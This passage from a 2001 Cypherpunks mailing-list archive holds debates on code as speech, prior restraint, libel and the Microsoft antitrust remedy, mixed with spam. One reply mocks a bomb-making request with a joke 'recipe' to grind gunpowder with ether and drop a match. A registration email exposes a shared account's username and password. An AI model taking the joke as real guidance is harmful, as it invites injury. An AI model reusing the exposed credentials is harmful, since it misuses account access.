want to regulate speech when it is convenient to their ends and they hope
nobody notices they're pulling a fast one to do it. So what they have is a
nice tasting argument so that you'll accept A PRIORI restraint on speech.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at EINSTEIN.ssz.com  Tue Feb 27 14:25:36 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 16:25:36 -0600 (CST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts
In-Reply-To: <20010227215550.7157.qmail@nwcst320.netaddress.usa.net>
Message-ID: <Pine.LNX.3.96.1010227161205.5925o-100000@einstein.ssz.com>



On 27 Feb 2001, LUIS VILDOSOLA wrote:

> Relating how code can infringe on someone else's rights will
> be an abstract argument.

Not at all, code itself can NEVER infringe anothers right, UNLESS it's
executed (acted upon).

Speech in and of itself is powerful because of its two characteristics,

-	It's harmless and does nothing in and of itself.

-	It motivates peoples imagination to act.

It is the second point that ALL regulation of speech, expression, press,
distribution, etc. exists for.

Fundamentaly all government regulation of speech is nothing more than a
covert attempt to manage your consequent behaviour. It is not the speech
but what others may do with it. It is clear the person emitting the speech
has no control over the person receiving the speech. But we can't control
the second party until it's too late. So we try to control the first
party. Further, if we accept the premise that the first party is
responsible for the acts of the second party, then what of the unmentioned 
parties acting on the first party? And if we claim the first party is
acting of their own free will then what character of the second party is
our litmus test? What aspect of the relationship between the first and second 
parties is missing in the relationship between the first and unnamed
parties that relieves the unnamed parties of responsibility for the acts
of the first party? And isn't the regulation of PREVIOUS speech by such a
unnamed party also proof that the first party isn't acting of their own
free will? Isn't the fact that this unnamed party removed the potential
good from banned speech from the situation and thus itself participated in
the affront? And because they did so with forethought doesnt' this
compound their part?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From hseaver at arrowhead.lib.mn.us  Tue Feb 27 14:48:14 2001
From: hseaver at arrowhead.lib.mn.us (Harmon Seaver)
Date: Tue, 27 Feb 2001 16:48:14 -0600
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed 
 Theory,  Not Facts
References: <Pine.A32.3.95.1010227151825.23962C-100000@bard.edu>
Message-ID: <3A9C2EA9.66E4262C@harmon.arrowhead.lib.mn.us>


      Well, it's more like the Nazi's are allowed to march in Jewish
neighborhoods under court orders protecting their right to free speech -- which
has happened -- it's disgusting, yes, but still has to be allowed to protect
everyone's free speech.
      Note that M$ doesn't believe in free speech for others, however, as we
recently saw with them lobbying Congress to do something about "un-American open
source" software.



David Stultz wrote:

> Just playing the Devil's Advocate here.
>
> Are you allowed to go into a theatre and yell, "FIRE!!!" when there is
> none?  Nope.
>
> There *are* restrictions on speech.  If MS's "speech" violated somebody's
> rights, that speech can be made illegal.
>
> Dave
>
> PS I agree that code is speech.
>
> On Tue, 27 Feb 2001, lizard wrote:
>
> > "Colin A. Reed" wrote:
> > >
> >
> > > I'll admit that the trial was fucked up from the start by the decision to
> > > center it around netscape rather than something more blatant like stac.
> > > Anyways, this has nothing to do with FC, unless you think that enterprise
> > > is fundamentally expressive and Microsoft's vicious suppression of
> > > competition has limited the ability of others to be heard.
> > >
> > But if source code is free speech, isn't a judge ordering some code be
> > removed/edited/changed an intrustion on free speech? Isn't saying
> > "Remove Explorer from the core install!" the same as saying "Remove this
> > chapter from this book!"
> >
> > Sure, the chapter can then be republished separately, but who is the
> > judge to decide what elements of a work of speech belong together?
> >
> > Code IS speech. And this has implications beyond DECSS and PGP.
> >




From scarpenter at innerx.net  Tue Feb 27 17:23:05 2001
From: scarpenter at innerx.net (scarpenter at innerx.net)
Date: Tue, 27 Feb 2001 17:23:05 -0800 (PST)
Subject: Free Videos for An Entire Year!
Message-ID: <200102280123.RAA13960@toad.com>

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From atek3 at gmx.net  Tue Feb 27 17:44:41 2001
From: atek3 at gmx.net (atek3)
Date: Tue, 27 Feb 2001 17:44:41 -0800
Subject: need info on how to make bombs and explosive
References: <b1.779d75c.27c7086d@aol.com>
Message-ID: <00bc01c0a128$0b1ba9e0$6975e5a9@Reshall.berkeley.edu>

okay you get a pound of gun powder, put it in a mortar and pestle, grind, add ether, start smoking, grind somemore, if all else fails drop a match in said mortar

atek3
  ----- Original Message ----- 
  From: EZRAMATTHEW at aol.com 
  To: Cypherpunks at einstein.ssz.com 
  Sent: Thursday, February 22, 2001 4:27 PM
  Subject: CDR: need info on how to make bombs and explosive


  please send info about topics in subject 

                                                        sincerley, 
                                                              mike 
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From jets2001 at juno.com  Tue Feb 27 15:25:32 2001
From: jets2001 at juno.com (jets2001 at juno.com)
Date: Tue, 27 Feb 2001 18:25:32 -0500
Subject: No subject
Message-ID: <20010227.182533.-475401.0.jets2001@juno.com>



________________________________________________________________
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Juno offers FREE or PREMIUM Internet access for less!
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From gnutella at cashflowvideo.com  Tue Feb 27 15:35:47 2001
From: gnutella at cashflowvideo.com (gnutella at cashflowvideo.com)
Date: Tue, 27 Feb 2001 18:35:47 -0500
Subject: I've just added a link to your site!
Message-ID: <20010227233614.JPLV25007.tomts6-srv.bellnexxia.net@n6a4y9>


Here's my link:
http://www.cashflowvideo.com/gnutella.html

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My 'Phone number is: (416) 287-2564

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P.S - Here is the link that I'm asking to be placed on your website:
http://www.cashflowvideo.com/gnutella.html--------------------------------------------------------------------
This message was sent using Link Crafter. You can get info about how to
get Link Crafter for free by emailing the sender of this message.




From miles_leech at hotmail.com  Tue Feb 27 11:22:32 2001
From: miles_leech at hotmail.com (miles leech)
Date: Tue, 27 Feb 2001 19:22:32 -0000
Subject: No subject
Message-ID: <F163uX2pzMvLHVwfat800012fab@hotmail.com>

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From scarpenter at innerx.net  Tue Feb 27 19:34:20 2001
From: scarpenter at innerx.net (scarpenter at innerx.net)
Date: Tue, 27 Feb 2001 19:34:20 -0800 (PST)
Subject: Sorry My Valentine is So Late!
Message-ID: <200102280334.TAA18318@toad.com>

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From ravage at einstein.ssz.com  Tue Feb 27 17:40:08 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 19:40:08 -0600
Subject: Slashdot | Anticryptography
Message-ID: <3A9C56F8.B10BAF1E@ssz.com>


http://slashdot.org/articles/01/02/27/2045225.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From susan at storebusters.com  Tue Feb 27 18:41:29 2001
From: susan at storebusters.com (Susan Baker)
Date: Tue, 27 Feb 2001 19:41:29 -0700
Subject: Hello
Message-ID: <6674960.983328089759.JavaMail.root@mail1.storebusters.com>

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From tommycat at inlink.com  Tue Feb 27 18:12:28 2001
From: tommycat at inlink.com (Tom Watkinson)
Date: Tue, 27 Feb 2001 20:12:28 -0600
Subject: SEVERAL BIZ OPPS IN ONE!
Message-ID: <200102280212.f1S2Cb326012@mail2.primary.net>




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From lvild at usa.net  Tue Feb 27 20:14:23 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 27 Feb 2001 20:14:23 PST
Subject: [Re: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory, Not Facts]
Message-ID: <20010228041423.3005.qmail@nwcst330.netaddress.usa.net>


I agree Danny
*******************

Danny Yee <danny at staff.cs.usyd.edu.au> wrote:
> 
> lizard wrote:
> > But if source code is free speech, isn't a judge ordering some code be
> > removed/edited/changed an intrustion on free speech? Isn't saying
> > "Remove Explorer from the core install!" the same as saying "Remove this
> > chapter from this book!"
>  
> Is a judge ordering people to stop making illegal copies of M$ software
> and sharing it with their friends not also an "intrusion into free
> speech"?
> 
> I agree that mandating the relationship between IE and Windows is
> stupid, mind you - it's an ad hoc after the event remedy, where much
> more fundamental ones are called for.
> 
> Danny.
> 


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From tcmay at got.net  Tue Feb 27 20:32:17 2001
From: tcmay at got.net (Tim May)
Date: Tue, 27 Feb 2001 20:32:17 -0800
Subject: Confusion about Free Speech
In-Reply-To: <Pine.A32.3.95.1010227222659.38744A-100000@bard.edu>
References: <Pine.A32.3.95.1010227222659.38744A-100000@bard.edu>
Message-ID: <a05010400b6c22c06299e@[207.111.241.224]>


At 10:41 PM -0500 2/27/01, David Stultz wrote:
>I see your point...prior restraint sucks, but I disagree with you that
>speech cannot violate rights.  What about slander or libel?  I believe
>that I have the right not to be publicly ridiculed and to be made the
>subject of untrue statements against my character.  But that's the limit.
>I think that's about the limit of restriction on speech. 
>
>But the reality of it is, prior restraint *does* exist, and seeing as code
>is speech, the same restrictions that apply to speech apply to code.  I am
>pretty much talking out of my ass (because I am not a lawyer), but what I
>just said makes sense.

This is well-trod ground, even for this list.

Citing libel and slander in the context of "free speech" is a 
slippery slope. For one thing, neither libel nor slander has anything 
to do with First Amendment issues, which are limitations on 
censorship, prior restraint, etc. (Even the infamous "Falsely 
shouting "Fire!" in a crowded theater" is more confusing than 
illuminating, and certainly has nothing to do with censorship or 
prior restraint.)

Another thing is that this recent discussion about how Microsoft is 
"suppressing free speech" is just nonsensical.

The list seems to have some new members lately, or is getting cross 
posts from other lists.

It's important that folks know what the First Amendment says 
(apologies to non-U.S. folks) and how the term "free speech" is so 
often misused.

As for your point about "I have the right not to be publicly 
ridiculed and to be made the subject of untrue statements about my 
character," boy,  have you dialed a wrong number!

For two reasons. First, it is not the role of government to protect 
your _reputation_. This puts others in the business of determining 
what "truth" is. Second, "sunlight is the best disinfectant." The 
cure for defamatory speech is _more_ speech.

(And libertarians and other thoughtful persons recognize that 
incorrect characterizations are their own punishment. This is the 
concept of "negative reputations." Again, this is well-trod ground: 
the real debate about "right not to be defamed" turns out to 
translate to a debate about "unequal powers," as when a newspaper 
defames a peon. Defamation of you by me is never considered important 
enough to pass laws over.)

Lastly, lest I ramble on too much, if there are issues of civil 
actions in defamation (slander and libel), there are some nice 
alternatives coming under the rubric of "polycentril law" or "markets 
for law." In a nutshell, if you want to sue me, contact your 
protection racket and have them contact mine for some bargaining.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From alan at clueserver.org  Tue Feb 27 20:36:44 2001
From: alan at clueserver.org (Alan Olsen)
Date: Tue, 27 Feb 2001 20:36:44 -0800 (PST)
Subject: "Information wants to be free"
In-Reply-To: <a05010401b6c1d98475cb@[207.111.241.224]>
Message-ID: <Pine.LNX.4.10.10102272035010.25976-100000@clueserver.org>


On Tue, 27 Feb 2001, Tim May wrote:

> >Right.  All the "content-for-pay" artists now have to compete
> >against all the unpaid amateurs who are webpublishing because
> >webpublishing is easy and nearly free.
> 
> Or because "information wants to be free" (*) and _someone_ will make 
> the songs or images or whatever available for absolutely nothing. 
> Good examples of this are Napster, of course, and the 
> alt.binaries.erotica.* Usenet newsgroups.

"Information *actually* wants to be tied up and spanked."

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From lvild at usa.net  Tue Feb 27 20:38:42 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 27 Feb 2001 20:38:42 PST
Subject: [Re: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts]
Message-ID: <20010228043842.944.qmail@wwcst269.netaddress.usa.net>


Your last paragraph is a little too complicated for me Jim,
I'm interested in what you have to say but please break it
down for me.

Jim Choate <ravage at ssz.com> wrote:
> 
> 
> On 27 Feb 2001, LUIS VILDOSOLA wrote:
> 
> > Relating how code can infringe on someone else's rights will
> > be an abstract argument.
> 
> Not at all, code itself can NEVER infringe anothers right, UNLESS it's
> executed (acted upon).
> 
> Speech in and of itself is powerful because of its two characteristics,
> 
> -	It's harmless and does nothing in and of itself.
> 
> -	It motivates peoples imagination to act.
> 
> It is the second point that ALL regulation of speech, expression, press,
> distribution, etc. exists for.
> 
> Fundamentaly all government regulation of speech is nothing more than a
> covert attempt to manage your consequent behaviour. It is not the speech
> but what others may do with it. It is clear the person emitting the speech
> has no control over the person receiving the speech. But we can't control
> the second party until it's too late. So we try to control the first
> party. Further, if we accept the premise that the first party is
> responsible for the acts of the second party, then what of the unmentioned 
> parties acting on the first party? And if we claim the first party is
> acting of their own free will then what character of the second party is
> our litmus test? What aspect of the relationship between the first and
second 
> parties is missing in the relationship between the first and unnamed
> parties that relieves the unnamed parties of responsibility for the acts
> of the first party? And isn't the regulation of PREVIOUS speech by such a
> unnamed party also proof that the first party isn't acting of their own
> free will? Isn't the fact that this unnamed party removed the potential
> good from banned speech from the situation and thus itself participated in
> the affront? And because they did so with forethought doesnt' this
> compound their part?
> 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From stevet at sendon.net  Tue Feb 27 12:38:50 2001
From: stevet at sendon.net (Steve Thompson)
Date: Tue, 27 Feb 2001 20:38:50 +0000
Subject: Another Wiretap Criminal Exposed
In-Reply-To: <200102281652.f1SGqXp11718@artifact.psychedelic.net>
References: <200102281652.f1SGqXp11718@artifact.psychedelic.net>
Message-ID: <200102282042.PAA26520@divert.sendon.net>



Quoting Eric Cordian (emc at artifact.psychedelic.net):
> http://www.newsday.com/ap/text/national/ap448.htm

> NAVARRE, Fla. (AP) -- A high school student has been charged with
> violating Florida's wiretapping law after tape recording a chemistry class
> lecture.

Is it me, or is there something sadly desperate in the recent actions of
various government prosecutors in their efforts to censure anyone remotely
weak enough to be safely attacked?

I suppose that students in Florida must now go before a Judge and obtain a
warrant if they wish to tape their classes.

If that succeeds, the next kid may get charged with loitering.


Regards,

Steve

-- 
Excerpt from:	Subject: ABOI: Chomsky: The Motion Picture
		Date: 10 Oct 1997 05:19:52 GMT
		Message-ID: <61kdto$7p9$6 at leopard.it.wsu.edu>

[cut to bunker]
Dr. Loglan: The battle is turning against us.
Whorf: What if there is a panic?
Dr. Loglan: My super-logical soldiers will never panic!

[cut to street.  A truck with large speakers cruises up and down]
Truck: THERE IS NO NEED TO PANIC!  A IS A!  RETURN TO YOUR HOMES!
 EXISTENCE EXISTS!  THE DAM HAS NOT BROKEN!




From tcmay at got.net  Tue Feb 27 20:41:54 2001
From: tcmay at got.net (Tim May)
Date: Tue, 27 Feb 2001 20:41:54 -0800
Subject: Confusion about Free Speech
In-Reply-To: <a05010400b6c22c06299e@[207.111.241.224]>
References: <Pine.A32.3.95.1010227222659.38744A-100000@bard.edu>
  <a05010400b6c22c06299e@[207.111.241.224]>
Message-ID: <a05010402b6c230ab4115@[207.111.241.61]>


At 8:32 PM -0800 2/27/01, Tim May wrote:
>
>Lastly, lest I ramble on too much, if there are issues of civil 
>actions in defamation (slander and libel), there are some nice 
>alternatives coming under the rubric of "polycentril law" or 
>"markets for law." In a nutshell, if you want to sue me, contact 
>your protection racket and have them contact mine for some 
>bargaining.

A typo. That should be "polycentric law," as in "multiple centers."


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From tcmay at got.net  Tue Feb 27 20:47:09 2001
From: tcmay at got.net (Tim May)
Date: Tue, 27 Feb 2001 20:47:09 -0800
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed
    Theory,  Not Facts
In-Reply-To: <Pine.A32.3.95.1010227231650.38744D-100000@bard.edu>
References: <Pine.A32.3.95.1010227231650.38744D-100000@bard.edu>
Message-ID: <a05010403b6c23266a910@[207.111.241.61]>


At 11:23 PM -0500 2/27/01, David Stultz wrote:
>  > It's worth observing that to Hitler, he made sense. (and no, I am NOT
>>  drawing any sort of conclusion, simply saying the 'I and I' is not the
>>  end all).
>
>Isn't there some sort of rule where at the first mention of "Hitler" or
>"Nazi", it's the end of the thread? ;)

Let's not adopt this banal convention on this list. Much bandwidth is 
wasted by people arguing about invocation of Godwin's Law and 
inventing their own variants (such as May's Lemma, that more 
bandwidth is wasted....).


>
>>  You're an asshole (not really, keep reading). Ridicule is political
>>  speech and should be protected. Now my stating to another 3rd party that
>>  you're a baby raper and as a consequence you lose your business is a
>>  whole other situation.
>
>Heh.  Maybe ridicule wasn't the right word.  I can take a joke, ridicule
>is ok.  I guess a better word would have been "unjustified slander" (OK,
>that's two).  Satire and ridicule are good things, and are
>protected...this is good.
>
>But now, I am beginning to see what you are saying.  We shouldn't blame
>*speech* for the result of speech.  It's the *result* of said speech that
>should be the grounds of wrongness.  Makes sense to me.

If you are this easily persuaded, and come at "free speech" with such 
confusion, you have a lot of reading ahead of you. I envy you, 
actually.

--Tim May

-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From stevet at sendon.net  Tue Feb 27 12:55:00 2001
From: stevet at sendon.net (Steve Thompson)
Date: Tue, 27 Feb 2001 20:55:00 +0000
Subject: Another Wiretap Criminal Exposed
In-Reply-To: <20010228143802.B11659@alcove.wittsend.com>
References: <200102281652.f1SGqXp11718@artifact.psychedelic.net> <20010228143802.B11659@alcove.wittsend.com>
Message-ID: <200102282214.RAA31392@divert.sendon.net>



Quoting Michael H. Warfield (mhw at wittsend.com):
> 	Charges dropped:
> 
> 	http://www.cnn.com/2001/LAW/02/28/recording.charge.01.ap/index.html

Ah.

Apparently, saner minds prevail.


Regards,

Steve

-- 
Excerpt from:	Subject: ABOI: Chomsky: The Motion Picture
		Date: 10 Oct 1997 05:19:52 GMT
		Message-ID: <61kdto$7p9$6 at leopard.it.wsu.edu>

[cut to bunker]
Dr. Loglan: The battle is turning against us.
Whorf: What if there is a panic?
Dr. Loglan: My super-logical soldiers will never panic!

[cut to street.  A truck with large speakers cruises up and down]
Truck: THERE IS NO NEED TO PANIC!  A IS A!  RETURN TO YOUR HOMES!
 EXISTENCE EXISTS!  THE DAM HAS NOT BROKEN!




From ashira at broadcastnow.net  Tue Feb 27 18:05:56 2001
From: ashira at broadcastnow.net (ashira at broadcastnow.net)
Date: Tue, 27 Feb 2001 21:05:56 -0500
Subject: Slots...Looser Than Your Girlfriend!!!
Message-ID: <t7k5raygu4r.bdlh2pmu2ch@helod.broadcastnow.net>

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From aziza at broadcastnow.net  Tue Feb 27 18:09:03 2001
From: aziza at broadcastnow.net (aziza at broadcastnow.net)
Date: Tue, 27 Feb 2001 21:09:03 -0500
Subject: BlackJack Anyone???
Message-ID: <4jvh1y.75uo5p6cqg@sndnfd.broadcastnow.net>

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From beall at broadcastnow.net  Tue Feb 27 19:01:29 2001
From: beall at broadcastnow.net (beall at broadcastnow.net)
Date: Tue, 27 Feb 2001 22:01:29 -0500
Subject: New Internet Casino $10 free on signup!!!!
Message-ID: <ugjt8t3gg41o1obrtg.1qdutm0@dnsddbuewi.broadcastnow.net>

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From ravage at EINSTEIN.ssz.com  Tue Feb 27 20:06:31 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 27 Feb 2001 22:06:31 -0600 (CST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts
In-Reply-To: <Pine.A32.3.95.1010227222659.38744A-100000@bard.edu>
Message-ID: <Pine.LNX.3.96.1010227215918.5925q-100000@einstein.ssz.com>



On Tue, 27 Feb 2001, David Stultz wrote:

> I see your point...prior restraint sucks, but I disagree with you that
> speech cannot violate rights.  What about slander or libel?

But that's not the speech but the consequence of the speech. No, you
should be held to an a priori 'no lie' standard. But if by that
lie you are damaging, and intent should aggravage the crime, another
person by the change in behaviour of anonymous 3rd parties then how is
holding the speaker accountable for those consequences a limit on their
speech? How does that justify saying 'you can't lie'? Aren't there times
when lying is the only way not to hurt persons (rare as it is, if it
exists we must allow that if we hold that hurting people is wrong).

> I believe that I have the right not to be publicly ridiculed and to be made 
> the subject of untrue statements against my character.  But that's the limit.
> I think that's about the limit of restriction on speech.  

You're an asshole (not really, keep reading). Ridicule is political speech
and should be protected. Now my stating to another 3rd party that you're a
baby raper and as a consequence you lose your business is a whole other
situation. It's not the speech that should be punished, it should be my
acting with intent to harm. That speech might be involved is really
irrelevant.

> But the reality of it is, prior restraint *does* exist, and seeing as code
> is speech, the same restrictions that apply to speech apply to code.  I am
> pretty much talking out of my ass (because I am not a lawyer), but what I
> just said makes sense.

As long as it exists the work is not done.

It's worth observing that to Hitler, he made sense. (and no, I am NOT
drawing any sort of conclusion, simply saying the 'I and I' is not the end
all).

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ds932 at bard.edu  Tue Feb 27 19:41:32 2001
From: ds932 at bard.edu (David Stultz)
Date: Tue, 27 Feb 2001 22:41:32 -0500 (EST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts
In-Reply-To: <Pine.LNX.3.96.1010227153756.5925n-100000@einstein.ssz.com>
Message-ID: <Pine.A32.3.95.1010227222659.38744A-100000@bard.edu>


I see your point...prior restraint sucks, but I disagree with you that
speech cannot violate rights.  What about slander or libel?  I believe
that I have the right not to be publicly ridiculed and to be made the
subject of untrue statements against my character.  But that's the limit.
I think that's about the limit of restriction on speech.  

But the reality of it is, prior restraint *does* exist, and seeing as code
is speech, the same restrictions that apply to speech apply to code.  I am
pretty much talking out of my ass (because I am not a lawyer), but what I
just said makes sense.

--dave

On Tue, 27 Feb 2001, Jim Choate wrote:

> 
> On Tue, 27 Feb 2001, David Stultz wrote:
> 
> > Just playing the Devil's Advocate here.
> > 
> > Are you allowed to go into a theatre and yell, "FIRE!!!" when there is
> > none?  Nope.  
> > 
> > There *are* restrictions on speech.  If MS's "speech" violated somebody's
> > rights, that speech can be made illegal.
> 
> Speech can't violate rights, only acts against another can. Speech is not
> an act against another.
> 
> Unconstitutional restrictions on speech that is. If there is a fire and I
> don't yell have I commited a crime? If I yell fire and everyone does
> nothing was a crime commited?
> 
> Let's take your example, it only applies if people are in the theatre AND
> they react as if there were a fire. But is it the safety of the theatre
> inhabitants we're concerned about? Clearly not since there are more than
> sufficient legal and civil recoveries for both the theatre owner and the
> patrons if their rights are infringed.
> 
> The reality is that causing a riot, via speech or some other mechanism,
> isn't protected by the 1st. The argument to forward is a straw-man, they
> want to regulate speech when it is convenient to their ends and they hope
> nobody notices they're pulling a fast one to do it. So what they have is a
> nice tasting argument so that you'll accept A PRIORI restraint on speech.
> 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
> 
> 




From info at scmp.com  Tue Feb 27 06:55:12 2001
From: info at scmp.com (info at scmp.com)
Date: Tue, 27 Feb 2001 22:55:12 +0800
Subject: New registration to SCMP.com
Message-ID: <013801255141b21PROD2_WEB01@prod2_web01.scmp.com>


Dear Joe Cypherpunk,

Thank you for taking time to register with SCMP.com.

Your username: joecypherpunk
Your password: cypherpunks

SCMP.com




From jamesd at echeque.com  Tue Feb 27 23:12:05 2001
From: jamesd at echeque.com (James A. Donald)
Date: Tue, 27 Feb 2001 23:12:05 -0800
Subject: Microsoft Trial Judge Based His Break-Up "Remedy"
  On Flawed Theory,  Not Facts
In-Reply-To: <Pine.A32.3.95.1010227231650.38744D-100000@bard.edu>
References: <Pine.LNX.3.96.1010227215918.5925q-100000@einstein.ssz.com>
Message-ID: <5.0.2.1.0.20010227231001.01f1fc98@shell11.ba.best.com>


     --
At 11:23 PM 2/27/2001 -0500, David Stultz wrote:
 > Isn't there some sort of rule where at the first mention of "Hitler"
 > or "Nazi", it's the end of the thread?

It appears to me that this rule is most commonly invoked by those whose 
ideology and program has a marked resemblance to Nazism, and derives from 
Nazi philosophers.

     --digsig
          James A. Donald
      6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
      61pwOMBLpml48FZUTWwMfoIW0QLabj+EyTeP1ANH
      4uUgcgY8zfUFGh64CZnHVOygyvbOYBzvlFTQH48nZ




From bayer at broadcastnow.net  Tue Feb 27 20:17:21 2001
From: bayer at broadcastnow.net (bayer at broadcastnow.net)
Date: Tue, 27 Feb 2001 23:17:21 -0500
Subject: High Speed Internet Access!!
Message-ID: <r1d44bfv02dv600pas.1wum2kpxw37d6mxc7u@widus.broadcastnow.net>

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From beverly at broadcastnow.net  Tue Feb 27 20:18:26 2001
From: beverly at broadcastnow.net (beverly at broadcastnow.net)
Date: Tue, 27 Feb 2001 23:18:26 -0500
Subject: Super Fast Online Browsing!
Message-ID: <cucb1j7ibt5rh.6oeg1l33@sdididofi.broadcastnow.net>

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From djb at gci.net  Wed Feb 28 00:23:18 2001
From: djb at gci.net (Daniel J. Boone)
Date: Tue, 27 Feb 2001 23:23:18 -0900
Subject: Trolling For Conspirators
References: <Pine.A32.3.95.1010227231650.38744D-100000@bard.edu> <a05010403b6c23266a910@[207.111.241.61]>
Message-ID: <007801c0a15f$b465a820$7660ed18@juneau.ak.net>


Data points:

I got two literate and charming off-list messages in connection with that
moron who wanted advice on committing federal crimes in connection with
cellular phone conversations not involving him.  They were:


----- Original Message -----
From: mike patton <mpatton at kiva.net>
To: <djb at gci.net>
Sent: Tuesday, February 27, 2001 8:38 PM
Subject: Trolling for Conspirators


fuck u

===================

And:


----- Original Message -----
From: mike patton <mpatton at kiva.net>
To: <djb at gci.net>
Sent: Tuesday, February 27, 2001 8:39 PM
Subject: Trolling for Conspirators


whats wrong






From ds932 at bard.edu  Tue Feb 27 20:23:48 2001
From: ds932 at bard.edu (David Stultz)
Date: Tue, 27 Feb 2001 23:23:48 -0500 (EST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts
In-Reply-To: <Pine.LNX.3.96.1010227215918.5925q-100000@einstein.ssz.com>
Message-ID: <Pine.A32.3.95.1010227231650.38744D-100000@bard.edu>


> It's worth observing that to Hitler, he made sense. (and no, I am NOT
> drawing any sort of conclusion, simply saying the 'I and I' is not the
> end all).

Isn't there some sort of rule where at the first mention of "Hitler" or
"Nazi", it's the end of the thread? ;)

> You're an asshole (not really, keep reading). Ridicule is political
> speech and should be protected. Now my stating to another 3rd party that
> you're a baby raper and as a consequence you lose your business is a 
> whole other situation.

Heh.  Maybe ridicule wasn't the right word.  I can take a joke, ridicule
is ok.  I guess a better word would have been "unjustified slander" (OK,
that's two).  Satire and ridicule are good things, and are
protected...this is good.

But now, I am beginning to see what you are saying.  We shouldn't blame
*speech* for the result of speech.  It's the *result* of said speech that
should be the grounds of wrongness.  Makes sense to me.

- Dave "big old asshole" Stultz

On Tue, 27 Feb 2001, Jim Choate wrote:

> 
> On Tue, 27 Feb 2001, David Stultz wrote:
> 
> > I see your point...prior restraint sucks, but I disagree with you that
> > speech cannot violate rights.  What about slander or libel?
> 
> But that's not the speech but the consequence of the speech. No, you
> should be held to an a priori 'no lie' standard. But if by that
> lie you are damaging, and intent should aggravage the crime, another
> person by the change in behaviour of anonymous 3rd parties then how is
> holding the speaker accountable for those consequences a limit on their
> speech? How does that justify saying 'you can't lie'? Aren't there times
> when lying is the only way not to hurt persons (rare as it is, if it
> exists we must allow that if we hold that hurting people is wrong).
> 
> > I believe that I have the right not to be publicly ridiculed and to be made 
> > the subject of untrue statements against my character.  But that's the limit.
> > I think that's about the limit of restriction on speech.  
> 
> You're an asshole (not really, keep reading). Ridicule is political speech
> and should be protected. Now my stating to another 3rd party that you're a
> baby raper and as a consequence you lose your business is a whole other
> situation. It's not the speech that should be punished, it should be my
> acting with intent to harm. That speech might be involved is really
> irrelevant.
> 
> > But the reality of it is, prior restraint *does* exist, and seeing as code
> > is speech, the same restrictions that apply to speech apply to code.  I am
> > pretty much talking out of my ass (because I am not a lawyer), but what I
